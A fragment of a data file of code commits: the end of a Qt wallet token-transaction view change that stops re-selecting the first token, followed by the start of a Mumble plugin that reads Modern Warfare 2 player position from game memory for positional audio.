refreshNameWidget();\r\n        connect(model->getTokenItemModel(), SIGNAL(rowsInserted(QModelIndex,int,int)),this, SLOT(addToNameWidget(QModelIndex,int,int)));\r\n\r\n        tokenProxyModel = new TokenFilterProxy(this);\r\n        tokenProxyModel->setSourceModel(_model->getTokenTransactionTableModel());\r\n        tokenProxyModel->setDynamicSortFilter(true);\r\n        tokenProxyModel->setSortCaseSensitivity(Qt::CaseInsensitive);\r\n        tokenProxyModel->setFilterCaseSensitivity(Qt::CaseInsensitive);\r\n\r\n        tokenProxyModel->setSortRole(Qt::EditRole);\r\n\r\n        tokenView->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);\r\n        tokenView->setModel(tokenProxyModel);\r\n        tokenView->setAlternatingRowColors(true);\r\n        tokenView->setSelectionBehavior(QAbstractItemView::SelectRows);\r\n        tokenView->setSelectionMode(QAbstractItemView::ExtendedSelection);\r\n        tokenView->setSortingEnabled(true);\r\n        tokenView->sortByColumn(TokenTransactionTableModel::Date, Qt::DescendingOrder);\r\n        tokenView->verticalHeader()->hide();\r\n\r\n        tokenView->setColumnWidth(TokenTransactionTableModel::Status, STATUS_COLUMN_WIDTH);\r\n        tokenView->setColumnWidth(TokenTransactionTableModel::Date, DATE_COLUMN_WIDTH);\r\n        tokenView->setColumnWidth(TokenTransactionTableModel::Type, TYPE_COLUMN_WIDTH);\r\n        tokenView->setColumnWidth(TokenTransactionTableModel::Name, NAME_COLUMN_WIDTH);\r\n        tokenView->setColumnWidth(TokenTransactionTableModel::Amount, AMOUNT_MINIMUM_COLUMN_WIDTH);\r\n\r\n        columnResizingFixer = new GUIUtil::TableViewLastColumnResizingFixer(tokenView, AMOUNT_MINIMUM_COLUMN_WIDTH, MINIMUM_COLUMN_WIDTH, this, 3);\r\n    }\r\n}\r\n\r\nQWidget *TokenTransactionView::createDateRangeWidget()\r\n{\r\n    dateRangeWidget = new QFrame();\r\n    dateRangeWidget->setFrameStyle(QFrame::Panel | QFrame::Raised);\r\n    dateRangeWidget->setContentsMargins(1,1,1,1);\r\n    QHBoxLayout *layout = new QHBoxLayout(dateRangeWidget);\r\n    layout->setContentsMargins(0,0,0,0);\r\n    layout->addSpacing(23);\r\n    layout->addWidget(new QLabel(tr(\"Range:\")));\r\n\r\n    dateFrom = new QDateTimeEdit(this);\r\n    dateFrom->setDisplayFormat(\"dd\/MM\/yy\");\r\n    dateFrom->setCalendarPopup(true);\r\n    dateFrom->setMinimumWidth(100);\r\n    dateFrom->setDate(QDate::currentDate().addDays(-7));\r\n    layout->addWidget(dateFrom);\r\n    layout->addWidget(new QLabel(tr(\"to\")));\r\n\r\n    dateTo = new QDateTimeEdit(this);\r\n    dateTo->setDisplayFormat(\"dd\/MM\/yy\");\r\n    dateTo->setCalendarPopup(true);\r\n    dateTo->setMinimumWidth(100);\r\n    dateTo->setDate(QDate::currentDate());\r\n    layout->addWidget(dateTo);\r\n    layout->addStretch();\r\n\r\n    \/\/ Hide by default\r\n    dateRangeWidget->setVisible(false);\r\n\r\n    \/\/ Notify on change\r\n    connect(dateFrom, SIGNAL(dateChanged(QDate)), this, SLOT(dateRangeChanged()));\r\n    connect(dateTo, SIGNAL(dateChanged(QDate)), this, SLOT(dateRangeChanged()));\r\n\r\n    return dateRangeWidget;\r\n}\r\n\r\nvoid TokenTransactionView::refreshNameWidget()\r\n{\r\n    if(model)\r\n    {\r\n        TokenItemModel *tim = model->getTokenItemModel();\r\n        for(int i = 0; i < tim->rowCount(); i++)\r\n        {\r\n            QString name = tim->data(tim->index(i, 0), TokenItemModel::SymbolRole).toString();\r\n            nameWidget->addItem(name, name);\r\n        }\r\n        nameWidget->setCurrentIndex(0);\r\n    }\r\n}\r\n\r\nvoid TokenTransactionView::addToNameWidget(const QModelIndex &parent, int start, int \/*end*\/)\r\n{\r\n    if(model)\r\n    {\r\n        TokenItemModel *tim = model->getTokenItemModel();\r\n        QString name = tim->index(start, TokenItemModel::Symbol, parent).data().toString();\r\n        nameWidget->addItem(name, name);\r\n        nameWidget->setCurrentIndex(0);\r\n    }\r\n}\r\n\r\nvoid TokenTransactionView::resizeEvent(QResizeEvent *event)\r\n{\r\n    QWidget::resizeEvent(event);\r\n    columnResizingFixer->stretchColumnWidth(TokenTransactionTableModel::ToAddress);\r\n}\r\n\r\nbool TokenTransactionView::eventFilter(QObject *obj, QEvent *event)\r\n{\r\n    if (event->type() == QEvent::KeyPress)\r\n    {\r\n        QKeyEvent *ke = static_cast<QKeyEvent *>(event);\r\n        if (ke->key() == Qt::Key_C && ke->modifiers().testFlag(Qt::ControlModifier))\r\n        {\r\n            GUIUtil::copyEntryData(tokenView, 0, TokenTransactionTableModel::TxPlainTextRole);\r\n            return true;\r\n        }\r\n    }\r\n    return QWidget::eventFilter(obj, event);\r\n}\r\n\r\nvoid TokenTransactionView::contextualMenu(const QPoint &point)\r\n{\r\n    QModelIndex index = tokenView->indexAt(point);\r\n    QModelIndexList selection = tokenView->selectionModel()->selectedRows(0);\r\n    if (selection.empty())\r\n        return;\r\n\r\n    if(index.isValid())\r\n    {\r\n        contextMenu->exec(QCursor::pos());\r\n    }\r\n}\r\n\r\nvoid TokenTransactionView::dateRangeChanged()\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    tokenProxyModel->setDateRange(\r\n                QDateTime(dateFrom->date()),\r\n                QDateTime(dateTo->date()).addDays(1));\r\n}\r\n\r\nvoid TokenTransactionView::showDetails()\r\n{\r\n    if(!tokenView->selectionModel())\r\n        return;\r\n    QModelIndexList selection = tokenView->selectionModel()->selectedRows();\r\n    if(!selection.isEmpty())\r\n    {\r\n        TokenDescDialog *dlg = new TokenDescDialog(selection.at(0));\r\n        dlg->setAttribute(Qt::WA_DeleteOnClose);\r\n        dlg->show();\r\n    }\r\n}\r\n\r\nvoid TokenTransactionView::copyAddress()\r\n{\r\n    GUIUtil::copyEntryData(tokenView, 0, TokenTransactionTableModel::AddressRole);\r\n}\r\n\r\nvoid TokenTransactionView::copyAmount()\r\n{\r\n    GUIUtil::copyEntryData(tokenView, 0, TokenTransactionTableModel::AmountRole);\r\n}\r\n\r\nvoid TokenTransactionView::copyTxID()\r\n{\r\n    GUIUtil::copyEntryData(tokenView, 0, TokenTransactionTableModel::TxHashRole);\r\n}\r\n\r\nvoid TokenTransactionView::copyTxPlainText()\r\n{\r\n    GUIUtil::copyEntryData(tokenView, 0, TokenTransactionTableModel::TxPlainTextRole);\r\n}\r\n\r\nvoid TokenTransactionView::chooseDate(int idx)\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    QDate current = QDate::currentDate();\r\n    dateRangeWidget->setVisible(false);\r\n    switch(dateWidget->itemData(idx).toInt())\r\n    {\r\n    case All:\r\n        tokenProxyModel->setDateRange(\r\n                    TokenFilterProxy::MIN_DATE,\r\n                    TokenFilterProxy::MAX_DATE);\r\n        break;\r\n    case Today:\r\n        tokenProxyModel->setDateRange(\r\n                    QDateTime(current),\r\n                    TokenFilterProxy::MAX_DATE);\r\n        break;\r\n    case ThisWeek: {\r\n        \/\/ Find last Monday\r\n        QDate startOfWeek = current.addDays(-(current.dayOfWeek()-1));\r\n        tokenProxyModel->setDateRange(\r\n                    QDateTime(startOfWeek),\r\n                    TokenFilterProxy::MAX_DATE);\r\n\r\n    } break;\r\n    case ThisMonth:\r\n        tokenProxyModel->setDateRange(\r\n                    QDateTime(QDate(current.year(), current.month(), 1)),\r\n                    TokenFilterProxy::MAX_DATE);\r\n        break;\r\n    case LastMonth:\r\n        tokenProxyModel->setDateRange(\r\n                    QDateTime(QDate(current.year(), current.month(), 1).addMonths(-1)),\r\n                    QDateTime(QDate(current.year(), current.month(), 1)));\r\n        break;\r\n    case ThisYear:\r\n        tokenProxyModel->setDateRange(\r\n                    QDateTime(QDate(current.year(), 1, 1)),\r\n                    TokenFilterProxy::MAX_DATE);\r\n        break;\r\n    case Range:\r\n        dateRangeWidget->setVisible(true);\r\n        dateRangeChanged();\r\n        break;\r\n    }\r\n}\r\n\r\nvoid TokenTransactionView::chooseType(int idx)\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    tokenProxyModel->setTypeFilter(\r\n                typeWidget->itemData(idx).toInt());\r\n}\r\n\r\nvoid TokenTransactionView::chooseName(int idx)\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    tokenProxyModel->setName(\r\n                nameWidget->itemData(idx).toString());\r\n}\r\n\r\nvoid TokenTransactionView::changedPrefix(const QString &prefix)\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    tokenProxyModel->setAddressPrefix(prefix);\r\n}\r\n\r\nvoid TokenTransactionView::changedAmount(const QString &amount)\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    int256_t amount_parsed = 0;\r\n    if(BitcoinUnits::parseToken(18, amount, &amount_parsed))\r\n    {\r\n        tokenProxyModel->setMinAmount(amount_parsed);\r\n    }\r\n    else\r\n    {\r\n        tokenProxyModel->setMinAmount(0);\r\n    }\r\n}\r\n<commit_msg>Keep the current token selected when add new<commit_after>#include \"tokentransactionview.h\"\r\n\r\n#include \"walletmodel.h\"\r\n#include \"platformstyle.h\"\r\n#include \"tokentransactiontablemodel.h\"\r\n#include \"tokentransactionrecord.h\"\r\n#include \"tokenfilterproxy.h\"\r\n#include \"guiutil.h\"\r\n#include \"optionsmodel.h\"\r\n#include \"tokenitemmodel.h\"\r\n#include \"tokendescdialog.h\"\r\n\r\n#include <QComboBox>\r\n#include <QDateTimeEdit>\r\n#include <QDoubleValidator>\r\n#include <QHBoxLayout>\r\n#include <QHeaderView>\r\n#include <QLabel>\r\n#include <QLineEdit>\r\n#include <QMenu>\r\n#include <QPoint>\r\n#include <QScrollBar>\r\n#include <QTableView>\r\n#include <QVBoxLayout>\r\n#include <QRegularExpressionValidator>\r\n\r\n#define paternTokenAmount \"^[0-9]{1,59}\\\\.{1,1}[0-9]{0,18}\"\r\n\r\nTokenTransactionView::TokenTransactionView(const PlatformStyle *platformStyle, QWidget *parent) :\r\n    QWidget(parent),\r\n    model(0),\r\n    tokenProxyModel(0),\r\n    tokenView(0),\r\n    columnResizingFixer(0)\r\n{\r\n    \/\/ Build filter row\r\n    setContentsMargins(0,0,0,0);\r\n\r\n    QHBoxLayout *hlayout = new QHBoxLayout();\r\n    hlayout->setContentsMargins(0,0,0,0);\r\n\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        hlayout->setSpacing(5);\r\n        hlayout->addSpacing(STATUS_COLUMN_WIDTH + 3);\r\n    } else {\r\n        hlayout->setSpacing(0);\r\n        hlayout->addSpacing(STATUS_COLUMN_WIDTH);\r\n    }\r\n\r\n    dateWidget = new QComboBox(this);\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        dateWidget->setFixedWidth(DATE_COLUMN_WIDTH + 1);\r\n    } else {\r\n        dateWidget->setFixedWidth(DATE_COLUMN_WIDTH);\r\n    }\r\n    dateWidget->addItem(tr(\"All\"), All);\r\n    dateWidget->addItem(tr(\"Today\"), Today);\r\n    dateWidget->addItem(tr(\"This week\"), ThisWeek);\r\n    dateWidget->addItem(tr(\"This month\"), ThisMonth);\r\n    dateWidget->addItem(tr(\"Last month\"), LastMonth);\r\n    dateWidget->addItem(tr(\"This year\"), ThisYear);\r\n    dateWidget->addItem(tr(\"Range...\"), Range);\r\n    hlayout->addWidget(dateWidget);\r\n\r\n    typeWidget = new QComboBox(this);\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        typeWidget->setFixedWidth(TYPE_COLUMN_WIDTH + 1);\r\n    } else {\r\n        typeWidget->setFixedWidth(TYPE_COLUMN_WIDTH);\r\n    }\r\n\r\n    typeWidget->addItem(tr(\"All\"), TokenFilterProxy::ALL_TYPES);\r\n    typeWidget->addItem(tr(\"Received with\"), TokenFilterProxy::TYPE(TokenTransactionRecord::RecvWithAddress));\r\n    typeWidget->addItem(tr(\"Sent to\"), TokenFilterProxy::TYPE(TokenTransactionRecord::SendToAddress));\r\n    typeWidget->addItem(tr(\"To yourself\"), TokenFilterProxy::TYPE(TokenTransactionRecord::SendToSelf));\r\n    hlayout->addWidget(typeWidget);\r\n\r\n    addressWidget = new QLineEdit(this);\r\n#if QT_VERSION >= 0x040700\r\n    addressWidget->setPlaceholderText(tr(\"Enter address to search\"));\r\n#endif\r\n    hlayout->addWidget(addressWidget);\r\n\r\n    nameWidget = new QComboBox(this);\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        nameWidget->setFixedWidth(NAME_COLUMN_WIDTH + 1);\r\n    } else {\r\n        nameWidget->setFixedWidth(NAME_COLUMN_WIDTH);\r\n    }\r\n    nameWidget->addItem(tr(\"All\"), \"\");\r\n\r\n    hlayout->addWidget(nameWidget);\r\n\r\n    amountWidget = new QLineEdit(this);\r\n#if QT_VERSION >= 0x040700\r\n    amountWidget->setPlaceholderText(tr(\"Min amount\"));\r\n#endif\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        amountWidget->setFixedWidth(AMOUNT_MINIMUM_COLUMN_WIDTH - 3);\r\n    } else {\r\n        amountWidget->setFixedWidth(AMOUNT_MINIMUM_COLUMN_WIDTH);\r\n    }\r\n    QRegularExpression regEx;\r\n    regEx.setPattern(paternTokenAmount);\r\n    QRegularExpressionValidator *validator = new QRegularExpressionValidator(amountWidget);\r\n    validator->setRegularExpression(regEx);\r\n    amountWidget->setValidator(validator);\r\n    hlayout->addWidget(amountWidget);\r\n\r\n    QVBoxLayout *vlayout = new QVBoxLayout(this);\r\n    vlayout->setContentsMargins(0,0,0,0);\r\n    vlayout->setSpacing(0);\r\n\r\n    QTableView *view = new QTableView(this);\r\n    vlayout->addLayout(hlayout);\r\n    vlayout->addWidget(createDateRangeWidget());\r\n    vlayout->addWidget(view);\r\n    vlayout->setSpacing(0);\r\n    int width = view->verticalScrollBar()->sizeHint().width();\r\n    \/\/ Cover scroll bar width with spacing\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        hlayout->addSpacing(width+2);\r\n    } else {\r\n        hlayout->addSpacing(width);\r\n    }\r\n    \/\/ Always show scroll bar\r\n    view->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOn);\r\n    view->setTabKeyNavigation(false);\r\n    view->setContextMenuPolicy(Qt::CustomContextMenu);\r\n\r\n    view->installEventFilter(this);\r\n    tokenView = view;\r\n\r\n    \/\/ Actions\r\n    QAction *copyAddressAction = new QAction(tr(\"Copy address\"), this);\r\n    QAction *copyAmountAction = new QAction(tr(\"Copy amount\"), this);\r\n    QAction *copyTxIDAction = new QAction(tr(\"Copy transaction ID\"), this);\r\n    QAction *copyTxPlainText = new QAction(tr(\"Copy full transaction details\"), this);\r\n    QAction *showDetailsAction = new QAction(tr(\"Show transaction details\"), this);\r\n\r\n    contextMenu = new QMenu(tokenView);\r\n    contextMenu->addAction(copyAddressAction);\r\n    contextMenu->addAction(copyAmountAction);\r\n    contextMenu->addAction(copyTxIDAction);\r\n    contextMenu->addAction(copyTxPlainText);\r\n    contextMenu->addAction(showDetailsAction);\r\n\r\n    connect(dateWidget, SIGNAL(activated(int)), this, SLOT(chooseDate(int)));\r\n    connect(typeWidget, SIGNAL(activated(int)), this, SLOT(chooseType(int)));\r\n    connect(addressWidget, SIGNAL(textChanged(QString)), this, SLOT(changedPrefix(QString)));\r\n    connect(amountWidget, SIGNAL(textChanged(QString)), this, SLOT(changedAmount(QString)));\r\n    connect(nameWidget, SIGNAL(activated(int)), this, SLOT(chooseName(int)));\r\n\r\n    connect(view, SIGNAL(customContextMenuRequested(QPoint)), this, SLOT(contextualMenu(QPoint)));\r\n\r\n    connect(copyAddressAction, SIGNAL(triggered()), this, SLOT(copyAddress()));\r\n    connect(copyAmountAction, SIGNAL(triggered()), this, SLOT(copyAmount()));\r\n    connect(copyTxIDAction, SIGNAL(triggered()), this, SLOT(copyTxID()));\r\n    connect(copyTxPlainText, SIGNAL(triggered()), this, SLOT(copyTxPlainText()));\r\n    connect(showDetailsAction, SIGNAL(triggered()), this, SLOT(showDetails()));\r\n    connect(tokenView, SIGNAL(doubleClicked(QModelIndex)), this, SLOT(showDetails()));\r\n}\r\n\r\nvoid TokenTransactionView::setModel(WalletModel *_model)\r\n{\r\n    this->model = _model;\r\n    if(_model)\r\n    {\r\n        refreshNameWidget();\r\n        connect(model->getTokenItemModel(), SIGNAL(rowsInserted(QModelIndex,int,int)),this, SLOT(addToNameWidget(QModelIndex,int,int)));\r\n\r\n        tokenProxyModel = new TokenFilterProxy(this);\r\n        tokenProxyModel->setSourceModel(_model->getTokenTransactionTableModel());\r\n        tokenProxyModel->setDynamicSortFilter(true);\r\n        tokenProxyModel->setSortCaseSensitivity(Qt::CaseInsensitive);\r\n        tokenProxyModel->setFilterCaseSensitivity(Qt::CaseInsensitive);\r\n\r\n        tokenProxyModel->setSortRole(Qt::EditRole);\r\n\r\n        tokenView->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);\r\n        tokenView->setModel(tokenProxyModel);\r\n        tokenView->setAlternatingRowColors(true);\r\n        tokenView->setSelectionBehavior(QAbstractItemView::SelectRows);\r\n        tokenView->setSelectionMode(QAbstractItemView::ExtendedSelection);\r\n        tokenView->setSortingEnabled(true);\r\n        tokenView->sortByColumn(TokenTransactionTableModel::Date, Qt::DescendingOrder);\r\n        tokenView->verticalHeader()->hide();\r\n\r\n        tokenView->setColumnWidth(TokenTransactionTableModel::Status, STATUS_COLUMN_WIDTH);\r\n        tokenView->setColumnWidth(TokenTransactionTableModel::Date, DATE_COLUMN_WIDTH);\r\n        tokenView->setColumnWidth(TokenTransactionTableModel::Type, TYPE_COLUMN_WIDTH);\r\n        tokenView->setColumnWidth(TokenTransactionTableModel::Name, NAME_COLUMN_WIDTH);\r\n        tokenView->setColumnWidth(TokenTransactionTableModel::Amount, AMOUNT_MINIMUM_COLUMN_WIDTH);\r\n\r\n        columnResizingFixer = new GUIUtil::TableViewLastColumnResizingFixer(tokenView, AMOUNT_MINIMUM_COLUMN_WIDTH, MINIMUM_COLUMN_WIDTH, this, 3);\r\n    }\r\n}\r\n\r\nQWidget *TokenTransactionView::createDateRangeWidget()\r\n{\r\n    dateRangeWidget = new QFrame();\r\n    dateRangeWidget->setFrameStyle(QFrame::Panel | QFrame::Raised);\r\n    dateRangeWidget->setContentsMargins(1,1,1,1);\r\n    QHBoxLayout *layout = new QHBoxLayout(dateRangeWidget);\r\n    layout->setContentsMargins(0,0,0,0);\r\n    layout->addSpacing(23);\r\n    layout->addWidget(new QLabel(tr(\"Range:\")));\r\n\r\n    dateFrom = new QDateTimeEdit(this);\r\n    dateFrom->setDisplayFormat(\"dd\/MM\/yy\");\r\n    dateFrom->setCalendarPopup(true);\r\n    dateFrom->setMinimumWidth(100);\r\n    dateFrom->setDate(QDate::currentDate().addDays(-7));\r\n    layout->addWidget(dateFrom);\r\n    layout->addWidget(new QLabel(tr(\"to\")));\r\n\r\n    dateTo = new QDateTimeEdit(this);\r\n    dateTo->setDisplayFormat(\"dd\/MM\/yy\");\r\n    dateTo->setCalendarPopup(true);\r\n    dateTo->setMinimumWidth(100);\r\n    dateTo->setDate(QDate::currentDate());\r\n    layout->addWidget(dateTo);\r\n    layout->addStretch();\r\n\r\n    \/\/ Hide by default\r\n    dateRangeWidget->setVisible(false);\r\n\r\n    \/\/ Notify on change\r\n    connect(dateFrom, SIGNAL(dateChanged(QDate)), this, SLOT(dateRangeChanged()));\r\n    connect(dateTo, SIGNAL(dateChanged(QDate)), this, SLOT(dateRangeChanged()));\r\n\r\n    return dateRangeWidget;\r\n}\r\n\r\nvoid TokenTransactionView::refreshNameWidget()\r\n{\r\n    if(model)\r\n    {\r\n        TokenItemModel *tim = model->getTokenItemModel();\r\n        for(int i = 0; i < tim->rowCount(); i++)\r\n        {\r\n            QString name = tim->data(tim->index(i, 0), TokenItemModel::SymbolRole).toString();\r\n            nameWidget->addItem(name, name);\r\n        }\r\n    }\r\n}\r\n\r\nvoid TokenTransactionView::addToNameWidget(const QModelIndex &parent, int start, int \/*end*\/)\r\n{\r\n    if(model)\r\n    {\r\n        TokenItemModel *tim = model->getTokenItemModel();\r\n        QString name = tim->index(start, TokenItemModel::Symbol, parent).data().toString();\r\n        nameWidget->addItem(name, name);\r\n    }\r\n}\r\n\r\nvoid TokenTransactionView::resizeEvent(QResizeEvent *event)\r\n{\r\n    QWidget::resizeEvent(event);\r\n    columnResizingFixer->stretchColumnWidth(TokenTransactionTableModel::ToAddress);\r\n}\r\n\r\nbool TokenTransactionView::eventFilter(QObject *obj, QEvent *event)\r\n{\r\n    if (event->type() == QEvent::KeyPress)\r\n    {\r\n        QKeyEvent *ke = static_cast<QKeyEvent *>(event);\r\n        if (ke->key() == Qt::Key_C && ke->modifiers().testFlag(Qt::ControlModifier))\r\n        {\r\n            GUIUtil::copyEntryData(tokenView, 0, TokenTransactionTableModel::TxPlainTextRole);\r\n            return true;\r\n        }\r\n    }\r\n    return QWidget::eventFilter(obj, event);\r\n}\r\n\r\nvoid TokenTransactionView::contextualMenu(const QPoint &point)\r\n{\r\n    QModelIndex index = tokenView->indexAt(point);\r\n    QModelIndexList selection = tokenView->selectionModel()->selectedRows(0);\r\n    if (selection.empty())\r\n        return;\r\n\r\n    if(index.isValid())\r\n    {\r\n        contextMenu->exec(QCursor::pos());\r\n    }\r\n}\r\n\r\nvoid TokenTransactionView::dateRangeChanged()\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    tokenProxyModel->setDateRange(\r\n                QDateTime(dateFrom->date()),\r\n                QDateTime(dateTo->date()).addDays(1));\r\n}\r\n\r\nvoid TokenTransactionView::showDetails()\r\n{\r\n    if(!tokenView->selectionModel())\r\n        return;\r\n    QModelIndexList selection = tokenView->selectionModel()->selectedRows();\r\n    if(!selection.isEmpty())\r\n    {\r\n        TokenDescDialog *dlg = new TokenDescDialog(selection.at(0));\r\n        dlg->setAttribute(Qt::WA_DeleteOnClose);\r\n        dlg->show();\r\n    }\r\n}\r\n\r\nvoid TokenTransactionView::copyAddress()\r\n{\r\n    GUIUtil::copyEntryData(tokenView, 0, TokenTransactionTableModel::AddressRole);\r\n}\r\n\r\nvoid TokenTransactionView::copyAmount()\r\n{\r\n    GUIUtil::copyEntryData(tokenView, 0, TokenTransactionTableModel::AmountRole);\r\n}\r\n\r\nvoid TokenTransactionView::copyTxID()\r\n{\r\n    GUIUtil::copyEntryData(tokenView, 0, TokenTransactionTableModel::TxHashRole);\r\n}\r\n\r\nvoid TokenTransactionView::copyTxPlainText()\r\n{\r\n    GUIUtil::copyEntryData(tokenView, 0, TokenTransactionTableModel::TxPlainTextRole);\r\n}\r\n\r\nvoid TokenTransactionView::chooseDate(int idx)\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    QDate current = QDate::currentDate();\r\n    dateRangeWidget->setVisible(false);\r\n    switch(dateWidget->itemData(idx).toInt())\r\n    {\r\n    case All:\r\n        tokenProxyModel->setDateRange(\r\n                    TokenFilterProxy::MIN_DATE,\r\n                    TokenFilterProxy::MAX_DATE);\r\n        break;\r\n    case Today:\r\n        tokenProxyModel->setDateRange(\r\n                    QDateTime(current),\r\n                    TokenFilterProxy::MAX_DATE);\r\n        break;\r\n    case ThisWeek: {\r\n        \/\/ Find last Monday\r\n        QDate startOfWeek = current.addDays(-(current.dayOfWeek()-1));\r\n        tokenProxyModel->setDateRange(\r\n                    QDateTime(startOfWeek),\r\n                    TokenFilterProxy::MAX_DATE);\r\n\r\n    } break;\r\n    case ThisMonth:\r\n        tokenProxyModel->setDateRange(\r\n                    QDateTime(QDate(current.year(), current.month(), 1)),\r\n                    TokenFilterProxy::MAX_DATE);\r\n        break;\r\n    case LastMonth:\r\n        tokenProxyModel->setDateRange(\r\n                    QDateTime(QDate(current.year(), current.month(), 1).addMonths(-1)),\r\n                    QDateTime(QDate(current.year(), current.month(), 1)));\r\n        break;\r\n    case ThisYear:\r\n        tokenProxyModel->setDateRange(\r\n                    QDateTime(QDate(current.year(), 1, 1)),\r\n                    TokenFilterProxy::MAX_DATE);\r\n        break;\r\n    case Range:\r\n        dateRangeWidget->setVisible(true);\r\n        dateRangeChanged();\r\n        break;\r\n    }\r\n}\r\n\r\nvoid TokenTransactionView::chooseType(int idx)\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    tokenProxyModel->setTypeFilter(\r\n                typeWidget->itemData(idx).toInt());\r\n}\r\n\r\nvoid TokenTransactionView::chooseName(int idx)\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    tokenProxyModel->setName(\r\n                nameWidget->itemData(idx).toString());\r\n}\r\n\r\nvoid TokenTransactionView::changedPrefix(const QString &prefix)\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    tokenProxyModel->setAddressPrefix(prefix);\r\n}\r\n\r\nvoid TokenTransactionView::changedAmount(const QString &amount)\r\n{\r\n    if(!tokenProxyModel)\r\n        return;\r\n    int256_t amount_parsed = 0;\r\n    if(BitcoinUnits::parseToken(18, amount, &amount_parsed))\r\n    {\r\n        tokenProxyModel->setMinAmount(amount_parsed);\r\n    }\r\n    else\r\n    {\r\n        tokenProxyModel->setMinAmount(0);\r\n    }\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#define _USE_MATH_DEFINES\n#include <stdio.h>\n#include <stdlib.h>\n#include <windows.h>\n#include <tlhelp32.h>\n#include <math.h>\n\n#include \"..\/mumble_plugin.h\"\n\nHANDLE h = NULL;\n\nstatic DWORD getProcess(const wchar_t *exename) {\n\tPROCESSENTRY32 pe;\n\tDWORD pid = 0;\n\n\tpe.dwSize = sizeof(pe);\n\tHANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n\tif (hSnap != INVALID_HANDLE_VALUE) {\n\t\tBOOL ok = Process32First(hSnap, &pe);\n\n\t\twhile (ok) {\n\t\t\tif (wcscmp(pe.szExeFile, exename)==0) {\n\t\t\t\tpid = pe.th32ProcessID;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tok = Process32Next(hSnap, &pe);\n\t\t}\n\t\tCloseHandle(hSnap);\n\t}\n\treturn pid;\n}\n\nstatic BYTE *getModuleAddr(DWORD pid, const wchar_t *modname) {\n\tMODULEENTRY32 me;\n\tBYTE *addr = NULL;\n\tme.dwSize = sizeof(me);\n\tHANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);\n\tif (hSnap != INVALID_HANDLE_VALUE) {\n\t\tBOOL ok = Module32First(hSnap, &me);\n\n\t\twhile (ok) {\n\t\t\tif (wcscmp(me.szModule, modname)==0) {\n\t\t\t\taddr = me.modBaseAddr;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tok = Module32Next(hSnap, &me);\n\t\t}\n\t\tCloseHandle(hSnap);\n\t}\n\treturn addr;\n}\n\nstatic bool peekProc(VOID *base, VOID *dest, SIZE_T len) {\n\tSIZE_T r;\n\tBOOL ok=ReadProcessMemory(h, base, dest, len, &r);\n\treturn (ok && (r == len));\n}\n\nstatic void about(HWND h) {\n\t::MessageBox(h, L\"Reads audio position information from Call of Duty: Modern Warfare 2 Special Ops(v1.0)\", L\"Mumble CoDMW2SO Plugin\", MB_OK);\n}\n\n\nstatic int fetch(float *avatar_pos, float *avatar_front, float *avatar_top, float *camera_pos, float *camera_front, float *camera_top, std::string &context, std::wstring &identity) {\n\tfloat viewHor, viewVer;\n\tchar state;\n\tchar specops;\n\n\tfor (int i=0;i<3;i++)\n\t\tavatar_pos[i]=avatar_front[i]=avatar_top[i]=0.0f;\n\n\tbool ok;\n\tbool so;\n\n\t\/*\n\t\tThis plugin uses the following Variables:\n\n\t\t\tAddress\t\t\tType\tDescription\n\t\t\t===================================\n\t\t\t0x00786A64\t\tfloat\tZ-Coordinate\n\t\t\t0x00786A68\t\tfloat\tX-Coordinate\n\t\t\t0x00786A6C\t\tfloat\tY-Coordinate\n\t\t\t0x00786A34\t\tfloat\tHorizontal view (degrees)\n\t\t\t0x00786A30\t\tfloat\tVertical view (degrees)\n\n\t\t\t0x007588C4\t\tbyte\tMagical state value\n\t*\/\n\t\n\tso = peekProc((BYTE *) 0x00935207, &specops, 1); \/\/ Magical state value\n\t\tif (! so)\n\t\treturn false;\n\t\t\n\t\/\/\tif (specops != 0)\n\t\/\/\treturn false; \/\/ 0 value indicates you are playing Special Ops\n\t\t\n\tok = peekProc((BYTE *) 0x01597682, &state, 1); \/\/ Magical state value\n\t\tif (! ok)\n\t\treturn false;\n\n\t\/\/ \/*\n\t\/\/\tstate value is:\n\t\/\/\t0\t\twhile not in game\n\t\/\/\t4\t\twhile playing\n\n\t\/\/\tThis value is used for disabling pa for spectators\n\t\/\/\tor people not on a server.\n\t\/\/ *\/\n\t\n\t\tif (state != 4)\n\t\treturn true; \/\/ This results in all vectors beeing zero which tells mumble to ignore them.\n\n\tok = peekProc((BYTE *) 0x00786A64, avatar_pos+2, 4) &&\t\/\/Z\n\t     peekProc((BYTE *) 0x00786A68, avatar_pos, 4) &&\t\/\/X\n\t     peekProc((BYTE *) 0x00786A6C, avatar_pos+1, 4) && \/\/Y\n\t     peekProc((BYTE *) 0x00786A34, &viewHor, 4) && \/\/Hor\n\t     peekProc((BYTE *) 0x00786A30, &viewVer, 4); \/\/Ver\n\n\tif (! ok)\n\t\treturn false;\n\n\t\/\/ Scale Coordinates\n\t\/*\n\t   Z-Value is increasing when heading north\n\t\t\t\t  decreasing when heading south\n\t   X-Value is increasing when heading west\n\t\t\t\t  decreasing when heading east\n\t   Y-Value is increasing when going up\n\t\t\t\t  decreasing when going down\n\t   40 units = 1 meter (not confirmed)\n\t*\/\n\tfor (int i=0;i<3;i++)\n\t\tavatar_pos[i]\/=40.0f; 